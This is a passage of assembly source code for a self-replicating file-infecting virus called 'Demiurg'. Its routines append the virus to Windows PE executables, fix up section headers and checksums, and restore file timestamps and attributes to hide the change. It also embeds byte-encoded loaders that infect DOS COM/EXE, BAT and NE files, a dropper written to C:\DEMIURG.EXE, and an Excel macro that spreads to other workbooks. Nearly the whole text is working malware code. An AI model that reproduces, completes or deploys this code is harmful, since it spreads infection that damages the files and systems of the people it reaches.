push 0 ; high word pointer of file offset
push dword ptr [ebp+offset filesize]
push dword ptr [ebp+offset filehandle]
call [ebp+offset SetFilePointer]

push dword ptr [ebp+offset filehandle]


call [ebp+offset SetEndOfFile]

closefile:
lea eax, [ebp+offset LastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push dword ptr [ebp+offset filehandle]
call [ebp+offset SetFileTime]

push dword ptr [ebp+offset filehandle]


call [ebp+offset CloseHandle]

push dword ptr [ebp+offset attributes]


push dword ptr [ebp+offset filename_ofs]
call [ebp+offset SetFileAttributesA]

RET

; ----- MODIFY PE FILE LAST SECTION/IMAGESIZE FOR INFECTION -----------------

append_PE:
movzx ecx, word ptr [ebx+6] ; ECX=number of sections
dec ecx ; ECX=number of last section

push ebx ; save PE header offset

movzx edx, word ptr [ebx+14h] ; EDX=size of optional header


add ebx, edx ; add size of optional header
add ebx, 18h ; add size of file header
; EBX=first section header

xor edx, edx ; EDX=0


mov eax, 40 ; EAX=size of one sect.header
mul ecx ; EAX=size of n-1 sect.headers
add ebx, eax ; EBX=last sect.header pointer

pop eax ; EAX=PE header pointer

or dword ptr [ebx+24h], 0E0000020h ; modify last section flags:


; read, write, exec, code

mov ecx, [ebx+8h] ; ECX=VirtualSize of last sect

or ecx, ecx ; VirtualSize=0 ?


JNZ VirtualSize_OK ; if not, it's ok
mov ecx, [ebx+10h] ; if yes, it means that
; VirtualSize=SizeOfRawData
VirtualSize_OK:
mov edx, ecx ; EDX=last sect. VirtualSize
add edx, [ebx+14h] ; add PointerToRawData
add edx, [ebp+mapbase] ; add start of memmap
mov [ebp+offset virus_start], edx ; save start of virus in map
mov edx, ecx ; EDX=VirtualSize
add edx, [ebx+0Ch] ; add VirtualAddress
mov [ebp+offset virus_RVA], edx ; save virus RVA
add ecx, virus_size ; ECX=new section size
push ecx ; save it
mov [ebx+8h], ecx ; set it as new VirtualSize
mov edx, [eax+3Ch] ; EDX=filealign
call align_ECX ; align physical sect. size
mov [ebx+10h], ecx ; save it as new SizeOfRawData
add ecx, [ebx+14h] ; add PointerToRawData
mov [ebp+filesize], ecx ; save it as new file size
pop ecx ; ECX=new section size
add ecx, [ebx+0Ch] ; ECX=new imagesize
mov edx, [eax+38h] ; EDX=SectionAlign
call align_ECX ; align the new imagesize
mov [eax+50h], ecx ; set it as new image size

RET

; ----- MOVE VIRUS BODY AND RECALCULATE CHECKSUM ----------------------------

finish_PE_infection:

lea esi, [ebp+start] ; ESI=start of virus body


mov edi, [ebp+virus_start] ; EDI=virus place in victim
mov ecx, virus_size ; ECX=size of virus
rep movsb ; copy virusbody to filemap

add ebx, 58h ; EBX=PE checksum in map


cmp dword ptr [ebx], 0 ; checksummed file?
JE end_finish_PE_infection ; if not, we are done

lea eax, [ebp+offset imagehlp_dll] ; EAX=ptr to "IMAGEHLP.DLL"


push eax
call [ebp+offset LoadLibraryA] ; load IMAGEHLP.DLL
or eax, eax ; EAX=0 means we failed
JZ end_finish_PE_infection

push ebx ; save pointer to old CRC

lea esi, [ebp+offset CheckSumMappedFile] ; get the CheckSumMappedFile


call My_GetProcAddress ; API

pop ebx ; restore pointer to old CRC


JC end_finish_PE_infection

mov ecx, [edx+eax] ; ECX=API RVA


add eax, ecx ; ECX=API VA

push ebx ; old CRC pointer


lea ebx, [ebp+dummy_dword]
push ebx ; place to store old CRC
push dword ptr [ebp+filesize] ; size of file
push dword ptr [ebp+mapbase] ; mapbase
call eax ; call CheckSumMappedFile

end_finish_PE_infection:
RET

; ----- GetAPIs -------------------------------------------------------------


; EAX=Module Base Address
; ECX=Number of APIs
; ESI=pointer to names table
; EDI=pointer to addresses table

GetAPIs:
get_APIs_loop:
push ecx ; save number of APIs
push eax ; save module base address
push edi ; save pointer to address tbl

call My_GetProcAddress ; get RVA of RVA of one API


pop edi ; EDI=where to store the RVAs
mov ecx, [edx+eax] ; ECX=API RVA
add eax, ecx ; EAX=API VA
stosd ; store the API VA

next_API_loop:
inc esi ; go to next byte
cmp byte ptr [esi], 0 ; reached end of API name?
JNE next_API_loop ; if not, search on
inc esi ; ESI=next API name

pop eax ; EAX=module base address


pop ecx ; ECX=number of APIs left
LOOP get_APIs_loop ; get the next API

RET

; ----- My_GetProcAddress ---------------------------------------------------


; input:
; EAX=module base address
; ESI=API function name
; output:
; EDX=RVA of RVA of API function

My_GetProcAddress:
mov ebx, eax ; EBX=module base address
add ebx, [eax+3Ch] ; EBX=new exe header
mov ebx, [ebx+78h] ; EBX=export directory RVA
add ebx, eax ; EBX=export directory VA
xor ecx, ecx ; ECX=0 (counter)
mov edx, [ebx+18h] ; EDX=NumberOfNames
mov edi, [ebx+20h] ; EDI=AddressOfNames array RVA
add edi, eax ; EDI=AddressOfNames array VA

search_loop:
pusha ; save all registers
mov edi, [edi+ecx*4] ; EDI=RVA of current API name
add edi, eax ; EDI=VA of current API name

cmp_loop:
lodsb ; get a byte from our API name
cmp byte ptr [edi], al ; is this byte equal?
JNE search_on_API ; if not, this isn't our API
inc edi ; compare next byte
or al, al ; reached end of API name ?
JNE cmp_loop ; if not, go on with compare
JMP found_API ; if yes, we found our API!

search_on_API:
popa ; restore all registers
inc ecx ; try the next exported API
cmp ecx, edx ; end of exported APIs?
JL search_loop ; if yes, try the next one

API_not_found:
popa ; restore all regisers
stc ; indicate error with carry
RET

found_API:
popa ; restore all registers
mov edx, [ebx+24h] ; EDX=AddressOfOrdinals RVA
add edx, eax ; EDX=AddressOfOrdinals VA
movzx ecx, word ptr [edx+ecx*2] ; ECX=our API's ordinal
mov edx, [ebx+1Ch] ; EDX=AddressOfFunctions RVA
lea edx, [edx+ecx*4] ; EDX=RVA of RVA of API
clc ; successful, clear carry
RET

; ----- aligns ECX to EDX ---------------------------------------------------


align_ECX:
push ebx ; save EBX
xchg eax, ecx ; EAX=value to be aligned
mov ebx, edx ; EBX=alignment factor
xor edx, edx ; zero out high dword
div ebx ; divide
or edx, edx ; remainer zero?
JZ no_round_up ; if so, don't round up
inc eax ; round up
no_round_up:
mul ebx ; multiply again
xchg eax, ecx ; ECX=aligned value
mov edx, ebx ; EDX=alignment factor
pop ebx ; restore EBX
RET

; ----- DECOMPRESS ----------------------------------------------------------


; ESI : Source buffer offset
; EDI : Destination buffer offset
; EBX : size compressed data

decompress:
add ebx, esi ; EBX=pointer to end of
; compressed data
cld ; clear direction flag

loop_head:
lodsb ; get a byte from compr. data
cmp al, 'æ' ; is it our special byte?
JNE store ; if not, just treat it normal
xor eax, eax ; EAX=0
lodsb ; EAX=number of repetitions
xchg eax, ecx ; ECX=number of repetitions
lodsb ; AL=byte to store repetively
rep stosb ; store the byte repetively
JMP go_on ; go on with the next byte
store:
stosb ; simply store the byte
go_on:
cmp ebx, esi ; reached the end?
JA loop_head ; if not, just decompress on

RET

; ----- CREATES THE PE DROPPER ----------------------------------------------


; input:
; EDI-where to put the dropper

create_dropper:
pusha ; save all registers
mov dword ptr [ebp+orig_eip], 401060h ; set EntryRVA for dummy PE
mov dword ptr [ebp+imagebase], 400000h ; set ImageBase for dummy PE

mov ebx, dummy_PE_size ; EBX=size of dummy PE file


lea esi, [ebp+offset dummy_PE] ; ESI=pointer to compressed
; PE file dropper
call decompress ; decompress it

lea esi, [ebp+start] ; ESI=start of virus body


mov ecx, virus_size ; ECX=size of virus body
cld ; clear direction flag
rep movsb ; copy virus body

popa ; restore all registers


RET

; ----- compressed new header for COM->EXE conversion -----------------------


new_mz_header:
db 04Dh, 05Ah, 0E6h, 006h, 000h, 002h, 000h, 001h
db 000h, 0FFh, 0FFh, 0F0h, 0FFh, 0FEh, 0FFh, 000h
db 000h, 000h, 001h, 0F0h, 0FFh, 0E6h, 008h, 000h

new_mz_header_size EQU ($ - new_mz_header)

; ----- code that will be added to dos exe/com files ------------------------


;
; .286
; .model tiny
; .code
; org 100h
; start:
; pusha ; save all registers
; push ds ; save segment registers
; push es
;
; call next ; get delta offset
; next:
; pop bp
; sub bp, offset next
;
; mov ax, ds ; AX=PSP segment
; dec ax ; AX=MCB segment
; mov ds, ax ; DS=MCB segment
; mov bx, ds:[3] ; BX=MCB size (in paragraphs)
; sub bx, 0E00h ; shrink MCB for 0E00h bytes
;
; mov ah, 4Ah ; resize MCB in ES to BX paragraphs
; int 21h ; we need to free RAM if we want to
; ; execute another program, even if
; ; it is for Windows
;
; push cs ; DS=CS
; pop ds
;
; mov ax, es ; AX=ES=PSP segment
; mov [bp+offset segm], ax ; save in data block
;
; push cs ; ES=CS
; pop es
;
; mov ah, 3Ch ; create file
; xor cx, cx ; CX=0 (attribtes for new file)
; lea dx, [bp+offset filename] ; DS:DX=pointer to filename
; int 21h
;
; xchg bx, ax ; handle to BX
;
; mov ah, 40h ; write to file
; mov cx, dropper_size ; write the whole dropper
; lea dx, [bp+offset dropper] ; DS:DX=pointer to write buffer
; int 21h
;
; mov ah, 3Eh ; close file
; int 21h
;
; execute:
; mov ax, 4B00h ; execute file
; lea bx, [bp+offset parameter] ; ES:BX=pointer to parameter block
; lea dx, [bp+offset filename] ; DS:DX=pointer to filename
; int 21h
;
; pop es ; restore segment registers
; pop ds
;
; mov ax, es ; AX=PSP segment
; add ax, 10h ; AX=start segment of program image
; add [bp+relo_CS], ax ; relocate old segment values
; add [bp+relo_SS], ax
;
; popa ; restore all registers
;
; db 68h ; push imm16
; relo_SS dw ?
;
; cli
; pop ss ; set host SS
; db 0BCh ; mov sp, imm16
; SP_start dw ?
; sti
;
; db 0EAh ; jmp far imm32
; IP_start dw ?
; relo_CS dw ?
;
;
; filename db "C:\DEMIURG.EXE", 0
;
; parameter:
; dw 0 ; same enviroment as caller
; dw 80h
; segm dw 0
; dw 4 dup(0FFFFh) ; FCB addresses (nothing)
;
; dropper:
;
; end start

dos_virus_code:
db 060h, 01Eh, 006h, 0E8h, 000h, 000h, 05Dh, 081h
db 0EDh, 006h, 001h, 08Ch, 0D8h, 048h, 08Eh, 0D8h
db 08Bh, 01Eh, 003h, 000h, 081h, 0EBh, 000h, 00Eh
db 0B4h, 04Ah, 0CDh, 021h, 00Eh, 01Fh, 08Ch, 0C0h
db 089h, 086h, 07Eh, 001h, 00Eh, 007h, 0B4h, 03Ch
db 033h, 0C9h, 08Dh, 096h, 06Bh, 001h, 0CDh, 021h
db 093h, 0B4h, 040h, 0B9h
dw dropper_size
db 08Dh, 096h
db 088h, 001h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h
db 0B8h, 000h, 04Bh, 08Dh, 09Eh, 07Ah, 001h, 08Dh
db 096h, 06Bh, 001h, 0CDh, 021h, 007h, 01Fh, 08Ch
db 0C0h, 005h, 010h, 000h, 001h, 086h, 069h, 001h
db 001h, 086h, 05Eh, 001h, 061h, 068h
relo_SS dw ?
db 0FAh, 017h, 0BCh
SP_start dw ?
db 0FBh, 0EAh
IP_start dw ?
relo_CS dw ?
db 043h, 03Ah, 05Ch, 044h, 045h
db 04Dh, 049h, 055h, 052h, 047h, 02Eh, 045h, 058h
db 045h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh
size_dos_virus_code EQU ($ - dos_virus_code)

; ----- code that will be added to BAT files --------------------------------


;
; This is the BAT code that is appended at the end of infected BAT files. As
; you see, it ECHOes out a COM file and executes it. Then the COM file reads
; the PE dropper that is stored as a kind of internal overlay at the end of
; the BAT file, writes it to disk and executes it. Here is the ASM source of
; the COM loader first:
;
; .286
; .model tiny
; .code
; org 100h
; start:
; mov ah, 4Ah ; resize memory block
; mov bx, 2020h ; BX=new MCB size in paragraphs
; int 21h
;
; xor bx, bx ; BX=0
; mov bl, 80h ; BX=80h (command line in PSP)
; mov si, bx ; SI=BX
; mov bl, [si] ; BX=length of commandline
; mov [si+bx+1], bh ; make command line zero terminated
;
; mov ax, 3D02h ; open file read/write
; lea dx, [si+2] ; DS:DX=pointer to filename(cmdline)
; int 21h
; JNC file_ok
; RET ; quit com file
;
; file_ok:
; xchg bx, ax ; handle to BX
;
; mov ax, 4202h ; set filepointer relative to EOF
; xor cx, cx ; CX=0
; dec cx ; CX=-1
; mov dx, ((-dropper_size)-1) ; otherwise we would have a zerobyte
; ; in the COM file
; inc dx ; CX:DX=-dropper_size
; int 21h
;
; mov ah, 3Fh ; read from file
; mov cx, dropper_size - 1 ; read the whole PE dropper
; inc cx
; mov dx, offset buffer ; DS:DX=offset to read buffer
; int 21h
;
; mov ah, not 3Eh ; close file
; not ax
; int 21h
;
; mov ah, not 3Ch ; create file
; not ax
; xor cx, cx ; CX=0 (file attributes)
; mov zero, cl ; make filename zero terminated
; mov dx, offset exefile ; DS:DX=pointer to filename
; int 21h
; JC quit
;
; xchg bx, ax ; handle to BX
;
; mov ah, 40h ; write to file
; mov cx, dropper_size - 1 ; CX=size to write (whole PE drpper)
; inc cx
; mov dx, offset buffer ; DS:DX=pointer to write buffer
; int 21h
; JC quit
;
; mov ah, not 3Eh ; close file
; not ax
; int 21h
;
; xor ax, ax ; AX=0
; mov ah, 4Bh ; AX=4B00h
; xor bx, bx ; BX=0 (no parameter block)
; mov dx, offset exefile ; DS:DX=pointer to filename
; int 21h
;
; quit:
; mov ah, 4Ch ; quit program
; int 21h
;
; exefile db "C:\demiurg.exe"
; zero db ?
; buffer:
;
; end start

bat_virus_code:
db "@echo off", 0Dh, 0Ah
db "set overlay=%0", 0Dh, 0Ah
db "if not exist %overlay% set overlay=%0.BAT", 0Dh, 0Ah
db "echo "

db 0B4h, 04Ah, 0BBh, 020h, 020h, 0CDh, 021h, 033h


db 0DBh, 0B3h, 080h, 08Bh, 0F3h, 08Ah, 01Ch, 088h
db 078h, 001h, 0B8h, 002h, 03Dh, 08Dh, 054h, 002h
db 0CDh, 021h, 073h, 001h, 0C3h, 093h, 0B8h, 002h
db 042h, 033h, 0C9h, 049h, 0BAh
dw ((-dropper_size) - 1)
db 042h, 0CDh, 021h, 0B4h, 03Fh, 0B9h
dw (dropper_size - 1)
db 041h
db 0BAh, 07Eh, 001h, 0CDh, 021h, 0B4h, 0C1h, 0F7h
db 0D0h, 0CDh, 021h, 0B4h, 0C3h, 0F7h, 0D0h, 033h
db 0C9h, 088h, 00Eh, 07Dh, 001h, 0BAh, 06Fh, 001h
db 0CDh, 021h, 072h, 01Fh, 093h, 0B4h, 040h, 0B9h
dw (dropper_size - 1)
db 041h, 0BAh, 07Eh, 001h, 0CDh, 021h, 072h, 011h
db 0B4h, 0C1h, 0F7h, 0D0h, 0CDh, 021h, 033h, 0C0h
db 0B4h, 04Bh, 033h, 0DBh, 0BAh, 06Fh, 001h, 0CDh
db 021h, 0B4h, 04Ch, 0CDh, 021h, 043h, 03Ah, 05Ch
db 064h, 065h, 06Dh, 069h, 075h, 072h, 067h, 02Eh
db 065h, 078h, 065h

db ">C:\DEMIURG.EXE"
db 0Dh, 0Ah
db "C:\DEMIURG.EXE %overlay%", 0Dh, 0Ah
db "set overlay=", 0Dh, 0Ah
db 1Ah ; end of text file

size_bat_virus_code EQU ($ - bat_virus_code)

; ------ Code that will be added to NE files --------------------------------


;
; .286
; .model tiny
; .code
; org 100h
; start:
; pusha ; save all registers
; push ds ; save segment registers
; push es
;
; call next ; get delta offset
; next:
; pop si
; add si, (data_block - next)
;
; mov ax, es ; AX=PSP segment
;
; push cs ; DS=CS
; pop ds
;
; push ss ; ES=SS
; pop es
; cld ; clear direction flag
; mov cx, data_size ; CX=size of our data
; sub sp, (data_size+512) ; allocate buffer on stack
; mov bp, sp ; BP=stack frame
; mov di, bp ; DI=our buffer on stack
; rep movsb ; copy data block to stackbuf
;
; push ss ; DS=ES=SS
; push ss
; pop es
; pop ds
;
; mov [bp+4], ax ; set PSP segm in paramblock
;
; mov ax, 3D02h ; open file read/write
; lea dx, [bp+our_filename-data_block] ; DS:DX=filename of our host
; int 21h
; JC exit
;
; xchg bx, ax ; handle to BX
;
; mov ax, 4202h ; set filepointer relative
; ; to the end of the file
; mov cx, -1 ; CX:DX=-dropper_size
; mov dx, -dropper_size
; int 21h
;
; mov [bp+source_handle-data_block], bx ; save filehandle
;
; mov ah, 3Ch ; create file
; xor cx, cx ; CX=0 (file attributes)
; lea dx, [bp+(filename-data_block)] ; DS:DX=pointer to PE dropper
; ; filename ("C:\demiurg.exe")
; int 21h
; JC close_source
;
; mov [bp+dest_handle-data_block], ax ; save filehandle
;
; mov cx, (dropper_size / 512) ; CX=size of dropper in
; ; 512 byte blocks
;
; rw_loop:
; push cx ; save number of blocks left
;
; mov ah, 3Fh ; read from file
; mov bx, [bp+source_handle-data_block] ; BX=source handle
; mov cx, 512 ; CX=size to read
; lea dx, [bp+(buffer-data_block)] ; DS:DX=pointer to read buf
; int 21h
;
; mov ah, 40h ; write to file
; mov bx, [bp+dest_handle-data_block] ; BX=destination handle
; mov cx, 512 ; CX=size to write
; lea dx, [bp+(buffer-data_block)] ; DS:DX=pointer to write buf
; int 21h
;
; pop cx ; CX=number of blocks left
; LOOP rw_loop
;
; mov ah, 3Eh ; close source file
; mov bx, [bp+source_handle-data_block]
; int 21h
;
; mov ah, 3Eh ; close destination file
; mov bx, [bp+dest_handle-data_block]
; int 21h
;
; mov ax, 4B00h ; execute dropper file
; mov bx, bp ; ES:BX=parameter block
; lea dx, [bx+18] ; DS:DX=filename
; int 21h
;
; JMP exit
;
; close_source:
; mov ah, 3Eh ; close file
; mov bx, [bp+source_handle-data_block]
; int 21h
;
; exit:
; add sp, (data_size+512) ; remove stack buffer
;
; pop es ; restore segment registers
; pop ds
; popa ; restore all registers
;
; db 68h ; push imm16
; NE_ip dw 0
; db 0C3h ; ret near
;
; data_block dw 0 ; same enviroment as caller
; dw 80h ; parameter string offset
; segm dw 0
; dw 4 dup(0)
;
; source_handle dw 0
; dest_handle dw 0
; filename db "C:\DEMIURG.EXE", 0
; our_filename db 13 dup(0)
; data_size = $ - data_block
; buffer:
;
; end start

NE_virus_code:
db 060h, 01Eh, 006h, 0E8h, 000h, 000h, 05Eh, 081h
db 0C6h, 094h, 000h, 08Ch, 0C0h, 00Eh, 01Fh, 016h
db 007h, 0FCh, 0B9h, 02Eh, 000h, 081h, 0ECh, 02Eh
db 002h, 08Bh, 0ECh, 08Bh, 0FDh, 0F3h, 0A4h, 016h
db 016h, 007h, 01Fh, 089h, 046h, 004h, 0B8h, 002h
db 03Dh, 08Dh, 056h, 021h, 0CDh, 021h, 072h, 05Fh
db 093h, 0B8h, 002h, 042h, 0B9h, 0FFh, 0FFh, 0BAh
dw -dropper_size
db 0CDh, 021h, 089h, 05Eh, 00Eh, 0B4h
db 03Ch, 033h, 0C9h, 08Dh, 056h, 012h, 0CDh, 021h
db 072h, 03Eh, 089h, 046h, 010h, 0B9h
dw (dropper_size/512)
db 051h, 0B4h, 03Fh, 08Bh, 05Eh, 00Eh, 0B9h, 000h
db 002h, 08Dh, 056h, 02Eh, 0CDh, 021h, 0B4h, 040h
db 08Bh, 05Eh, 010h, 0B9h, 000h, 002h, 08Dh, 056h
db 02Eh, 0CDh, 021h, 059h, 0E2h, 0E2h, 0B4h, 03Eh
db 08Bh, 05Eh, 00Eh, 0CDh, 021h, 0B4h, 03Eh, 08Bh
db 05Eh, 010h, 0CDh, 021h, 0B8h, 000h, 04Bh, 08Bh
db 0DDh, 08Dh, 057h, 012h, 0CDh, 021h, 0EBh, 007h
db 0B4h, 03Eh, 08Bh, 05Eh, 00Eh, 0CDh, 021h, 081h
db 0C4h, 02Eh, 002h, 007h, 01Fh, 061h, 068h
NE_start_IP dw 0
db 0C3h, 000h, 000h, 080h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 043h, 03Ah, 05Ch, 044h
db 045h, 04Dh, 049h, 055h, 052h, 047h, 02Eh, 045h
db 058h, 045h, 000h
our_filename db 13 dup(0)
size_NE_virus_code EQU ($ - NE_virus_code)

; ------ dropper code -------------------------------------------------------


;
; This is a dummy PE file that is as small as possible (under 1KB) and just
; calls ExitProcess. It has been infected with the virus, then the virus body
; was removed, then compressed and converted to DB instructions. This means
; that all we have to do to recreate a working dropper is to expand it and
; add the virus body (see procedure create_dropper)

dummy_PE:
db 04Dh, 05Ah, 040h, 000h, 001h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 001h, 0E6h, 005h, 000h
db 042h, 04Ah, 000h, 000h, 0F0h, 0FFh, 040h, 0E6h
db 023h, 000h, 040h, 000h, 000h, 000h, 050h, 045h
db 000h, 000h, 04Ch, 001h, 001h, 0E6h, 00Dh, 000h
db 0E0h, 000h, 08Eh, 081h, 00Bh, 001h, 0E6h, 00Eh
db 000h, 068h, 010h, 0E6h, 00Ch, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 001h, 0E6h, 007h, 000h, 003h, 000h, 00Ah, 0E6h
db 006h, 000h, 060h, 000h, 000h, 000h, 002h, 0E6h
db 006h, 000h, 002h, 0E6h, 005h, 000h, 010h, 000h
db 000h, 020h, 0E6h, 004h, 000h, 010h, 000h, 000h
db 010h, 0E6h, 006h, 000h, 010h, 0E6h, 00Ch, 000h
db 010h, 000h, 000h, 054h, 0E6h, 073h, 000h, 02Eh
db 064h, 065h, 06Dh, 069h, 075h, 072h, 067h, 000h
db 050h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 042h, 000h, 000h, 000h, 002h, 0E6h, 00Eh, 000h
db 060h, 000h, 000h, 0E0h, 0E6h, 0A0h, 000h, 028h
db 010h, 0E6h, 00Ah, 000h, 038h, 010h, 000h, 000h
db 030h, 010h, 0E6h, 016h, 000h, 046h, 010h, 0E6h
db 006h, 000h, 046h, 010h, 0E6h, 006h, 000h, 04Bh
db 045h, 052h, 04Eh, 045h, 04Ch, 033h, 032h, 02Eh
db 064h, 06Ch, 06Ch, 0E6h, 004h, 000h, 045h, 078h
db 069h, 074h, 050h, 072h, 06Fh, 063h, 065h, 073h
db 073h, 0E6h, 00Dh, 000h, 06Ah, 000h, 0FFh, 015h
db 030h, 010h, 040h, 000h
dummy_PE_size EQU ($ - dummy_PE)

dropper_size EQU 17408

; ----- macro dropper code --------------------------------------------------


;
; This is a (compressed) .xls file that will be stored in the xlstart
; directory of excel. It contains the macro code that will stay resident in
; Excel and infects other .xls files:
;
; Attribute VB_Name = "Demiurg"
; Sub Auto_Open()
; Application.OnSheetActivate = "Infect"
; End Sub
; Sub Infect()
; Application.DisplayAlerts = False
;
; lastchar = Asc(Mid$(ActiveWorkbook.Name, Len(ActiveWorkbook.Name), 1))
; If Asc("1") <= lastchar And lastchar <= Asc("9") Then Exit Sub
;
; For i = 1 To ActiveWorkbook.VBProject.VBComponents.count
; If ActiveWorkbook.VBProject.VBComponents(i).Name = "Demiurg" Then Exit Sub
; Next i
;
; ActiveWorkbook.VBProject.VBComponents.Import ("C:\demiurg.sys")
; ActiveWorkbook.Save
; End Sub

macro_dropper:
db 0D0h, 0CFh, 011h, 0E0h, 0A1h, 0B1h, 01Ah, 0E1h
db 0E6h, 010h, 000h, 03Eh, 000h, 003h, 000h, 0FEh
db 0FFh, 009h, 000h, 006h, 0E6h, 00Bh, 000h, 001h
db 000h, 000h, 000h, 001h, 0E6h, 008h, 000h, 010h
db 000h, 000h, 002h, 000h, 000h, 000h, 002h, 000h
db 000h, 000h, 0FEh, 0FFh, 0FFh, 0FFh, 0E6h, 008h
db 000h, 0E6h, 0FFh, 0FFh, 0E6h, 0B1h, 0FFh, 0FDh
db 0FFh, 0FFh, 0FFh, 009h, 000h, 000h, 000h, 013h
db 000h, 000h, 000h, 004h, 000h, 000h, 000h, 005h
db 000h, 000h, 000h, 006h, 000h, 000h, 000h, 007h
db 000h, 000h, 000h, 008h, 000h, 000h, 000h, 00Ah
db 000h, 000h, 000h, 019h, 000h, 000h, 000h, 00Bh
db 000h, 000h, 000h, 00Ch, 000h, 000h, 000h, 00Dh
db 000h, 000h, 000h, 00Eh, 000h, 000h, 000h, 00Fh
db 000h, 000h, 000h, 010h, 000h, 000h, 000h, 011h
db 000h, 000h, 000h, 012h, 000h, 000h, 000h, 014h
db 000h, 000h, 000h, 0FEh, 0FFh, 0FFh, 0FFh, 015h
db 000h, 000h, 000h, 016h, 000h, 000h, 000h, 017h
db 000h, 000h, 000h, 018h, 000h, 000h, 000h, 01Ah
db 000h, 000h, 000h, 01Dh, 000h, 000h, 000h, 01Bh
db 000h, 000h, 000h, 01Ch, 000h, 000h, 000h, 01Eh
db 000h, 000h, 000h, 0FEh, 0FFh, 0FFh, 0FFh, 0FEh
db 0E6h, 0FFh, 0FFh, 0E6h, 088h, 0FFh, 052h, 000h
db 06Fh, 000h, 06Fh, 000h, 074h, 000h, 020h, 000h
db 045h, 000h, 06Eh, 000h, 074h, 000h, 072h, 000h
db 079h, 0E6h, 02Dh, 000h, 016h, 000h, 005h, 000h
db 0E6h, 008h, 0FFh, 002h, 000h, 000h, 000h, 020h
db 008h, 002h, 0E6h, 005h, 000h, 0C0h, 0E6h, 006h
db 000h, 046h, 0E6h, 004h, 000h, 040h, 026h, 06Ch
db 034h, 03Fh, 085h, 0BFh, 001h, 0C0h, 0DDh, 03Ch
db 04Ah, 03Fh, 085h, 0BFh, 001h, 003h, 000h, 000h
db 000h, 080h, 02Eh, 0E6h, 006h, 000h, 057h, 000h
db 06Fh, 000h, 072h, 000h, 06Bh, 000h, 062h, 000h
db 06Fh, 000h, 06Fh, 000h, 06Bh, 0E6h, 031h, 000h
db 012h, 000h, 002h, 001h, 00Dh, 000h, 000h, 000h
db 0E6h, 008h, 0FFh, 0E6h, 028h, 000h, 092h, 00Ah
db 0E6h, 006h, 000h, 05Fh, 000h, 056h, 000h, 042h
db 000h, 041h, 000h, 05Fh, 000h, 050h, 000h, 052h
db 000h, 04Fh, 000h, 04Ah, 000h, 045h, 000h, 043h
db 000h, 054h, 000h, 05Fh, 000h, 043h, 000h, 055h
db 000h, 052h, 0E6h, 021h, 000h, 022h, 000h, 001h
db 001h, 001h, 000h, 000h, 000h, 00Bh, 000h, 000h
db 000h, 00Ah, 0E6h, 017h, 000h, 0A0h, 03Ch, 035h
db 04Ah, 03Fh, 085h, 0BFh, 001h, 0C0h, 0DDh, 03Ch
db 04Ah, 03Fh, 085h, 0BFh, 001h, 0E6h, 00Ch, 000h
db 056h, 000h, 042h, 000h, 041h, 0E6h, 03Bh, 000h
db 008h, 000h, 001h, 000h, 0E6h, 008h, 0FFh, 005h
db 0E6h, 017h, 000h, 0A0h, 03Ch, 035h, 04Ah, 03Fh
db 085h, 0BFh, 001h, 0A0h, 03Ch, 035h, 04Ah, 03Fh
db 085h, 0BFh, 001h, 0E6h, 00Ch, 000h, 001h, 000h
db 000h, 000h, 002h, 000h, 000h, 000h, 003h, 000h
db 000h, 000h, 004h, 000h, 000h, 000h, 005h, 000h
db 000h, 000h, 006h, 000h, 000h, 000h, 007h, 000h
db 000h, 000h, 008h, 000h, 000h, 000h, 009h, 000h
db 000h, 000h, 00Ah, 000h, 000h, 000h, 00Bh, 000h
db 000h, 000h, 00Ch, 000h, 000h, 000h, 00Dh, 000h
db 000h, 000h, 00Eh, 000h, 000h, 000h, 00Fh, 000h
db 000h, 000h, 010h, 000h, 000h, 000h, 011h, 000h
db 000h, 000h, 012h, 000h, 000h, 000h, 013h, 000h
db 000h, 000h, 014h, 000h, 000h, 000h, 015h, 000h
db 000h, 000h, 016h, 000h, 000h, 000h, 017h, 000h
db 000h, 000h, 018h, 000h, 000h, 000h, 019h, 000h
db 000h, 000h, 01Ah, 000h, 000h, 000h, 01Bh, 000h
db 000h, 000h, 01Ch, 000h, 000h, 000h, 01Dh, 000h
db 000h, 000h, 01Eh, 000h, 000h, 000h, 01Fh, 000h
db 000h, 000h, 020h, 000h, 000h, 000h, 021h, 000h
db 000h, 000h, 022h, 000h, 000h, 000h, 023h, 000h
db 000h, 000h, 024h, 000h, 000h, 000h, 025h, 000h
db 000h, 000h, 026h, 000h, 000h, 000h, 027h, 000h
db 000h, 000h, 028h, 000h, 000h, 000h, 029h, 000h
db 000h, 000h, 02Ah, 000h, 000h, 000h, 0FEh, 0FFh
db 0FFh, 0FFh, 02Ch, 000h, 000h, 000h, 02Dh, 000h
db 000h, 000h, 02Eh, 000h, 000h, 000h, 02Fh, 000h
db 000h, 000h, 030h, 000h, 000h, 000h, 031h, 000h
db 000h, 000h, 032h, 000h, 000h, 000h, 033h, 000h
db 000h, 000h, 034h, 000h, 000h, 000h, 035h, 000h
db 000h, 000h, 036h, 000h, 000h, 000h, 037h, 000h
db 000h, 000h, 038h, 000h, 000h, 000h, 039h, 000h
db 000h, 000h, 03Ah, 000h, 000h, 000h, 0FEh, 0FFh
db 0FFh, 0FFh, 03Ch, 000h, 000h, 000h, 03Dh, 000h
db 000h, 000h, 03Eh, 000h, 000h, 000h, 03Fh, 000h
db 000h, 000h, 040h, 000h, 000h, 000h, 041h, 000h
db 000h, 000h, 042h, 000h, 000h, 000h, 043h, 000h
db 000h, 000h, 044h, 000h, 000h, 000h, 045h, 000h
db 000h, 000h, 046h, 000h, 000h, 000h, 047h, 000h
db 000h, 000h, 048h, 000h, 000h, 000h, 049h, 000h
db 000h, 000h, 0FEh, 0FFh, 0FFh, 0FFh, 04Bh, 000h
db 000h, 000h, 04Ch, 000h, 000h, 000h, 04Dh, 000h
db 000h, 000h, 04Eh, 000h, 000h, 000h, 04Fh, 000h
db 000h, 000h, 050h, 000h, 000h, 000h, 051h, 000h
db 000h, 000h, 052h, 000h, 000h, 000h, 053h, 000h
db 000h, 000h, 054h, 000h, 000h, 000h, 055h, 000h
db 000h, 000h, 056h, 000h, 000h, 000h, 057h, 000h
db 000h, 000h, 058h, 000h, 000h, 000h, 059h, 000h
